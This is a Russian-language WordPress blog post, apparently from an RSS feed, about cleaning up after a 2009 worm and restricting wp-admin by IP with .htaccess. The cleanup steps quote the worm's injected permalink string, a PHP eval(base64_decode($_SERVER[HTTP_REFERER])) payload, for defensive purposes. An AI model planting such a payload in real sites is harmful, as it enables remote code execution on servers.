<p>И хотя мой блог до сих пор работает на одной из старых версий вордпресса, но не пострадал. А все потому, что бот определял версию блога по мета-тегу, который автоматически прописывает вордпресс во все темы, а я этот тег давным-давно у себя удалил. Про то, как удалить этот тег, я писал ранее в статье: <a href="https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp">корисні функції в functions.php</a> — советую и вам так же сделать ;)</p>
<p>А тем, кто уже пострадал от этого вируса, червья, бота (называйте как хотите) нужно:</p>
<ul>
<li>В настройках ЧПУ, поменять с<br />
<code>/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</code><br />
на<br />
<code>/%postname%/</code><br />
(у вас может отличаться структура, по аналогии думаю поймете, что где поменять :))</li>
<li>Найдите последнего  зарегистрированного пользователя на вашем сайте и уничтожьте его! Скорее всего , это будет MikeWink E-mail: bugbeemershonyhe@gmail.com</li>
<li>Обновите WordPress до версии 2.8.4</li>
</ul>
<p>А если нет желания обновляться и хотите улучшить безопасность своего блога, то вы можете запретить всем доступ к админке, кроме себя, с помощю небольшой правки .htaccess<br />
Конечно, было бы лучше, если у вас постоянный статический IP-адрес, тогда тольки бы его и указывали. Но в случае динамического айпи-адреса можете указывать диапазон адресов.<br />
Для это сделайте следующее:</p>
<ul>
<li>зайдите на сайт <a href="http://myip.ru">myip.ru</a> чтобы узнать ваш IP адрес. К примеру: ВАШ IP-АДРЕС: 91.134.98.173</li>
<li>создайте файл .htaccess в папке wp-admin вашего блога и пропишите там следующее:
<pre><code>AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.98.173
</LIMIT></code></pre>
<p>в случае динамического IP-адреса, напишите так: </p>
<pre><code>
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.0.0/255.255.0.0
</LIMIT></code></pre>
<p>Подробнее о синтаксисе директив Allow, Deny для Apache htaccess читайте <a href="http://httpd.apache.org/docs/1.3/mod/mod_access.html#allow">здесь</a>.</li>
<li>Сохраните файл. Все.</li>
</ul>
<p>Теперь, к админке вашего блога зайти можете только вы с вашого компьютера. Ну а если вы будете в дороге, или в интернет-кафе и захотите, зайти в админку блога, а вас не будет пускать (скорей всего, вы увидите сообщение об ошибке 404), потому что IP-адрес не входит в указанный диапазон, то тогда вам нужно будет зайти по фтп на хостинг и <strong>временно</strong> переименовать файл .htaccess. И тут, наверное, кто-то из вас подумал: «<em>Это я еще должен и пароль на фтп помнить для таких случаев?</em>» — Ну а что вы хотели, приходится жертвовать удобством ради безопасности. Помните цитату: «Так вам шашечки или ехать?!»</p>
<p>Берегите себя и берегите свой блог.</p>
<p>[tab:END]</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
